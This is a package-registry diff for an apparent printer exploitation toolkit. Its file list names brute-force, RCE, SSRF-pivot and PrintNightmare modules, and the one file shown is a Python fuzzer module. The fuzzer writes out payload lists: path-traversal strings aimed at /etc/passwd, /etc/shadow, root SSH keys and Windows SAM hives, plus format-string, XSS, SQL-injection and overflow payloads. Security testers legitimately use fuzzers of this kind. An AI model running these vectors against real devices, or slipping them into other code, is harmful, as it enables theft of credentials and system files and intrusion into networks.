printerxpl-forge 6.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- nse/README.md +204 -0
- nse/__init__.py +6 -0
- nse/install_nse.py +412 -0
- nse/lib/printerxpl.lua +238 -0
- nse/scripts/cups-info.nse +74 -0
- nse/scripts/cups-queue-info.nse +43 -0
- nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
- nse/scripts/http-device-mac.nse +107 -0
- nse/scripts/http-hp-ilo-info.nse +121 -0
- nse/scripts/http-info-xerox-enum.nse +101 -0
- nse/scripts/http-vuln-cve2022-1026.nse +158 -0
- nse/scripts/lexmark-config.nse +89 -0
- nse/scripts/pjl-ready-message.nse +106 -0
- nse/scripts/printer-banner.nse +217 -0
- nse/scripts/printer-cups-rce.nse +189 -0
- nse/scripts/printer-cve-detect.nse +279 -0
- nse/scripts/printer-discover.nse +205 -0
- nse/scripts/printer-firmware-exposed.nse +219 -0
- nse/scripts/printer-hp-pjl.nse +192 -0
- nse/scripts/printer-http-ews.nse +293 -0
- nse/scripts/printer-ipp-info.nse +235 -0
- nse/scripts/printer-lexmark-ipp.nse +203 -0
- nse/scripts/printer-passback.nse +204 -0
- nse/scripts/printer-pjl-info.nse +146 -0
- nse/scripts/printer-printnightmare.nse +211 -0
- nse/scripts/printer-snmp-info.nse +176 -0
- nse/scripts/printer-vuln-check.nse +256 -0
- nse/scripts/snmp-device-mac.nse +93 -0
- nse/scripts/snmp-info.nse +146 -0
- nse/scripts/snmp-sysdescr.nse +70 -0
- printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
- printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
- printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
- printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
- printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
- printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
- src/assets/fonts/gunplay.pfa +1671 -0
- src/assets/fonts/kshandwrt.pfa +315 -0
- src/assets/fonts/laksoner.pfa +2402 -0
- src/assets/fonts/paintcans.pfa +9699 -0
- src/assets/fonts/stencilod.pfa +4076 -0
- src/assets/fonts/takecover.pfa +26138 -0
- src/assets/fonts/topsecret.pfa +6652 -0
- src/assets/fonts/whoa.pfa +773 -0
- src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
- src/assets/mibs/Printer-MIB +4389 -0
- src/assets/mibs/README.md +9 -0
- src/assets/mibs/SNMPv2-MIB +854 -0
- src/assets/overlays/hacker.eps +596 -0
- src/assets/overlays/smiley.eps +214 -0
- src/assets/overlays/smiley2.eps +240 -0
- src/core/attack_orchestrator.py +1025 -0
- src/core/capabilities.py +323 -0
- src/core/destructive_audit.py +430 -0
- src/core/discovery.py +488 -0
- src/core/osdetect.py +74 -0
- src/core/poly_runner.py +579 -0
- src/core/printer.py +1426 -0
- src/main.py +2134 -0
- src/modules/install_printer.py +318 -0
- src/modules/login_bruteforce.py +852 -0
- src/modules/pcl.py +506 -0
- src/modules/pjl.py +3575 -0
- src/modules/print_job.py +1290 -0
- src/modules/ps.py +1102 -0
- src/payloads/__init__.py +98 -0
- src/payloads/assets/overlays/notice.eps +9 -0
- src/protocols/__init__.py +19 -0
- src/protocols/firmware.py +738 -0
- src/protocols/ipp.py +216 -0
- src/protocols/ipp_attacks.py +609 -0
- src/protocols/lpd.py +141 -0
- src/protocols/network_map.py +1004 -0
- src/protocols/raw.py +173 -0
- src/protocols/smb.py +359 -0
- src/protocols/ssrf_pivot.py +427 -0
- src/protocols/storage.py +587 -0
- src/ui/__init__.py +6 -0
- src/ui/interactive.py +742 -0
- src/ui/spinner.py +112 -0
- src/ui/tables.py +132 -0
- src/utils/banner_grabber.py +852 -0
- src/utils/codebook.py +456 -0
- src/utils/config.py +522 -0
- src/utils/cve_loader.py +158 -0
- src/utils/default_creds.py +134 -0
- src/utils/discovery_online.py +1327 -0
- src/utils/exploit_manager.py +805 -0
- src/utils/fuzzer.py +220 -0
- src/utils/helper.py +732 -0
- src/utils/local_printers.py +307 -0
- src/utils/ml_engine.py +491 -0
- src/utils/operators.py +474 -0
- src/utils/ports.py +234 -0
- src/utils/vuln_scanner.py +823 -0
- src/utils/wordlist_loader.py +412 -0
- src/version.py +36 -0
src/utils/fuzzer.py
ADDED
|
@@ -0,0 +1,220 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""
|
|
4
|
+
Fuzzer Module - Path and Data Fuzzing for Printer Security Testing
|
|
5
|
+
Provides fuzzing vectors for file system testing, path traversal, and vulnerability discovery
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
# Author : Andre Henrique (@mrhenrike)
|
|
9
|
+
# GitHub : https://github.com/mrhenrike
|
|
10
|
+
# LinkedIn : https://linkedin.com/in/mrhenrike
|
|
11
|
+
# X/Twitter : https://x.com/mrhenrike
|
|
12
|
+
|
|
13
|
+
class fuzzer():
|
|
14
|
+
"""
|
|
15
|
+
Fuzzer class with static lists and dynamic generators for security testing
|
|
16
|
+
"""
|
|
17
|
+
|
|
18
|
+
# Volume prefixes (printer volumes and drive letters)
|
|
19
|
+
vol = ["", ".", "\\", "/", "file:///", "C:/", "D:/", "E:/", "F:/", "G:/", "H:/", "I:/", "J:/", "K:/", "L:/", "M:/", "N:/", "O:/", "P:/", "Q:/", "R:/", "S:/", "T:/", "U:/", "V:/", "W:/", "X:/", "Y:/", "Z:/", "0:/", "1:/", "2:/", "3:/", "4:/", "5:/", "6:/", "7:/", "8:/", "9:/"]
|
|
20
|
+
|
|
21
|
+
# Environment variables (Unix-like)
|
|
22
|
+
var = ["~", "$HOME", "$USER", "$PATH", "$PWD", "$TEMP", "$TMP", "$TMPDIR", "$HOME/.config", "$HOME/.local/share"]
|
|
23
|
+
|
|
24
|
+
# Windows environment variables
|
|
25
|
+
win = ["%WINDIR%", "%SYSTEMROOT%", "%HOMEPATH%", "%PROGRAMFILES%", "%PROGRAMFILES(X86)%", "%APPDATA%", "%LOCALAPPDATA%", "%TEMP%", "%TMP%", "%USERPROFILE%", "%SYSTEMDRIVE%"]
|
|
26
|
+
|
|
27
|
+
# SMB/UNC paths
|
|
28
|
+
smb = ["\\\\127.0.0.1\\", "\\\\localhost\\", "\\\\smb\\", "\\\\samba\\", "\\\\fileserver\\", "\\\\share\\", "\\\\printer\\", "\\\\printserver\\", "\\\\networkshare\\"]
|
|
29
|
+
|
|
30
|
+
# Web paths (HTTP)
|
|
31
|
+
web = ["http://127.0.0.1/", "http://localhost/", "http://smb/", "http://samba/", "http://fileserver/", "http://share/", "http://printer/", "http://printserver/", "http://networkshare/"]
|
|
32
|
+
|
|
33
|
+
# Directory traversal patterns
|
|
34
|
+
dir = ["..", "...", "....", "../..", "../../..", "../../../..", "../../../../..", "../../../../../..", "../../../../../../..", "../../../../../../../.."]
|
|
35
|
+
|
|
36
|
+
# Path separators
|
|
37
|
+
sep = ["", "\\", "/", "\\\\", "//", "\\/", "/\\"]
|
|
38
|
+
|
|
39
|
+
# Filesystem hierarchy standard (Unix/Linux)
|
|
40
|
+
fhs = ["/etc", "/bin", "/sbin", "/home", "/proc", "/dev", "/lib",
|
|
41
|
+
"/opt", "/run", "/sys", "/tmp", "/usr", "/var", "/mnt", "/srv",
|
|
42
|
+
"/boot", "/root", "/media", "/lib64", "/lib32", "/usr/local",
|
|
43
|
+
"/usr/share", "/usr/lib", "/usr/bin", "/usr/sbin", "/usr/libexec",
|
|
44
|
+
"/usr/include", "/usr/src", "/usr/local/bin", "/usr/local/sbin",
|
|
45
|
+
"/usr/local/lib", "/usr/local/include", "/usr/local/share"]
|
|
46
|
+
|
|
47
|
+
# Absolute paths to test
|
|
48
|
+
abs = [".profile", ["etc", "passwd"], ["bin", "sh"], ["bin", "ls"],
|
|
49
|
+
"boot.ini", ["windows", "win.ini"], ["windows", "cmd.exe"]]
|
|
50
|
+
|
|
51
|
+
# Relative Windows paths
|
|
52
|
+
rel = ["%WINDIR%\\win.ini",
|
|
53
|
+
"%WINDIR%\\repair\\sam",
|
|
54
|
+
"%WINDIR%\\repair\\system",
|
|
55
|
+
"%WINDIR%\\system32\\config\\system.sav",
|
|
56
|
+
"%WINDIR%\\System32\\drivers\\etc\\hosts",
|
|
57
|
+
"%SYSTEMDRIVE%\\boot.ini",
|
|
58
|
+
"%USERPROFILE%\\ntuser.dat",
|
|
59
|
+
"%SYSTEMDRIVE%\\pagefile.sys",
|
|
60
|
+
"%SYSTEMROOT%\\repair\\sam",
|
|
61
|
+
"%SYSTEMROOT%\\repair\\system"]
|
|
62
|
+
|
|
63
|
+
# Combined prefixes for different fuzzing modes
|
|
64
|
+
path = vol+var+win+smb+web # path fuzzing
|
|
65
|
+
write = vol+var+win+smb+fhs # write fuzzing
|
|
66
|
+
blind = vol+var # blind fuzzing
|
|
67
|
+
|
|
68
|
+
# ====================================================================
|
|
69
|
+
# DYNAMIC FUZZING METHODS
|
|
70
|
+
# ====================================================================
|
|
71
|
+
|
|
72
|
+
def fuzz_paths(self):
|
|
73
|
+
"""
|
|
74
|
+
Generate comprehensive list of fuzzing paths
|
|
75
|
+
Combines volumes, directories, separators for path traversal testing
|
|
76
|
+
"""
|
|
77
|
+
paths = []
|
|
78
|
+
|
|
79
|
+
# Basic paths
|
|
80
|
+
paths.extend(self.path)
|
|
81
|
+
|
|
82
|
+
# Traversal combinations (vol + traversal + separator)
|
|
83
|
+
for v in self.vol[:10]: # Focus on common volumes
|
|
84
|
+
for d in self.dir[:5]: # Common traversal depths
|
|
85
|
+
for s in self.sep[:3]: # Common separators
|
|
86
|
+
if v and d:
|
|
87
|
+
paths.append(v + s + d)
|
|
88
|
+
|
|
89
|
+
# Common sensitive files with traversal
|
|
90
|
+
sensitive = [
|
|
91
|
+
"../../../etc/passwd",
|
|
92
|
+
"../../etc/shadow",
|
|
93
|
+
"../../../proc/version",
|
|
94
|
+
"../../rw/var/sys/passwd",
|
|
95
|
+
"..\\..\\..\\windows\\system32\\config\\sam",
|
|
96
|
+
"../../../boot.ini",
|
|
97
|
+
"0:/../../../etc/passwd",
|
|
98
|
+
"1:/../../etc/shadow",
|
|
99
|
+
]
|
|
100
|
+
paths.extend(sensitive)
|
|
101
|
+
|
|
102
|
+
# Filesystem hierarchy
|
|
103
|
+
paths.extend(self.fhs)
|
|
104
|
+
|
|
105
|
+
return paths
|
|
106
|
+
|
|
107
|
+
def fuzz_names(self):
|
|
108
|
+
"""
|
|
109
|
+
Generate fuzzing filenames for testing
|
|
110
|
+
Returns list of potentially sensitive or dangerous filenames
|
|
111
|
+
"""
|
|
112
|
+
names = [
|
|
113
|
+
# Hidden files
|
|
114
|
+
".htaccess", ".htpasswd", ".profile", ".bashrc", ".ssh",
|
|
115
|
+
|
|
116
|
+
# Configuration files
|
|
117
|
+
"passwd", "shadow", "config.xml", "config.cfg", "device.cfg",
|
|
118
|
+
"settings.ini", "printer.cfg", "network.xml",
|
|
119
|
+
|
|
120
|
+
# Traversal attempts
|
|
121
|
+
"../../../etc/passwd",
|
|
122
|
+
"..\\..\\..\\windows\\system32\\config\\sam",
|
|
123
|
+
|
|
124
|
+
# Script files
|
|
125
|
+
"test.ps", "test.pcl", "exploit.ps", "backdoor.ps",
|
|
126
|
+
"malicious.pdf", "payload.eps",
|
|
127
|
+
|
|
128
|
+
# System files
|
|
129
|
+
"boot.ini", "win.ini", "hosts", "resolv.conf",
|
|
130
|
+
|
|
131
|
+
# Special characters
|
|
132
|
+
"file with spaces.txt",
|
|
133
|
+
"file;with;semicolons.txt",
|
|
134
|
+
"file|with|pipes.txt",
|
|
135
|
+
"file&with&ersands.txt",
|
|
136
|
+
|
|
137
|
+
# Long names (overflow testing)
|
|
138
|
+
"A" * 255,
|
|
139
|
+
"B" * 1000,
|
|
140
|
+
]
|
|
141
|
+
|
|
142
|
+
return names
|
|
143
|
+
|
|
144
|
+
def fuzz_data(self, size='small'):
|
|
145
|
+
"""
|
|
146
|
+
Generate fuzzing data payloads
|
|
147
|
+
Args:
|
|
148
|
+
size: 'small', 'medium', 'large', or 'huge'
|
|
149
|
+
Returns:
|
|
150
|
+
bytes object with fuzzing payload
|
|
151
|
+
"""
|
|
152
|
+
sizes = {
|
|
153
|
+
'small': 1000,
|
|
154
|
+
'medium': 10000,
|
|
155
|
+
'large': 100000,
|
|
156
|
+
'huge': 1000000
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
length = sizes.get(size, 1000)
|
|
160
|
+
|
|
161
|
+
payloads = []
|
|
162
|
+
|
|
163
|
+
# Buffer overflow patterns
|
|
164
|
+
payloads.append(b"A" * length)
|
|
165
|
+
payloads.append(b"B" * length)
|
|
166
|
+
|
|
167
|
+
# Null bytes
|
|
168
|
+
payloads.append(b"\x00" * (length // 10))
|
|
169
|
+
|
|
170
|
+
# Format string attacks
|
|
171
|
+
payloads.append(b"%s" * (length // 10))
|
|
172
|
+
payloads.append(b"%x" * (length // 10))
|
|
173
|
+
payloads.append(b"%n" * (length // 10))
|
|
174
|
+
|
|
175
|
+
# Special characters
|
|
176
|
+
payloads.append(b"<script>alert('XSS')</script>" * (length // 100))
|
|
177
|
+
payloads.append(b"'; DROP TABLE printers; --" * (length // 100))
|
|
178
|
+
|
|
179
|
+
# Binary patterns
|
|
180
|
+
payloads.append(bytes(range(256)) * (length // 256))
|
|
181
|
+
|
|
182
|
+
# Return first payload (can be extended to return all)
|
|
183
|
+
return payloads[0]
|
|
184
|
+
|
|
185
|
+
def fuzz_traversal_vectors(self):
|
|
186
|
+
"""
|
|
187
|
+
Generate specific path traversal attack vectors
|
|
188
|
+
Returns list of path traversal attempts
|
|
189
|
+
"""
|
|
190
|
+
vectors = []
|
|
191
|
+
|
|
192
|
+
# Unix/Linux traversal (multiple depths)
|
|
193
|
+
for depth in range(1, 10):
|
|
194
|
+
prefix = "../" * depth
|
|
195
|
+
targets = ["etc/passwd", "etc/shadow", "proc/version", "root/.ssh/id_rsa"]
|
|
196
|
+
for target in targets:
|
|
197
|
+
vectors.append(prefix + target)
|
|
198
|
+
|
|
199
|
+
# Windows traversal
|
|
200
|
+
for depth in range(1, 10):
|
|
201
|
+
prefix = "..\\" * depth
|
|
202
|
+
targets = ["windows\\system32\\config\\sam", "boot.ini", "windows\\win.ini"]
|
|
203
|
+
for target in targets:
|
|
204
|
+
vectors.append(prefix + target)
|
|
205
|
+
|
|
206
|
+
# Volume-based traversal (printer-specific)
|
|
207
|
+
for vol in ["0:", "1:", "2:"]:
|
|
208
|
+
for depth in range(1, 6):
|
|
209
|
+
prefix = "/../" * depth
|
|
210
|
+
vectors.append(vol + prefix + "etc/passwd")
|
|
211
|
+
vectors.append(vol + prefix + "rw/var/sys/passwd")
|
|
212
|
+
|
|
213
|
+
# Embedded systems specific
|
|
214
|
+
vectors.extend([
|
|
215
|
+
"../../rw/var/sys/passwd",
|
|
216
|
+
"../../../mnt/flash/config",
|
|
217
|
+
"../../opt/printer/config.xml",
|
|
218
|
+
])
|
|
219
|
+
|
|
220
|
+
return vectors
|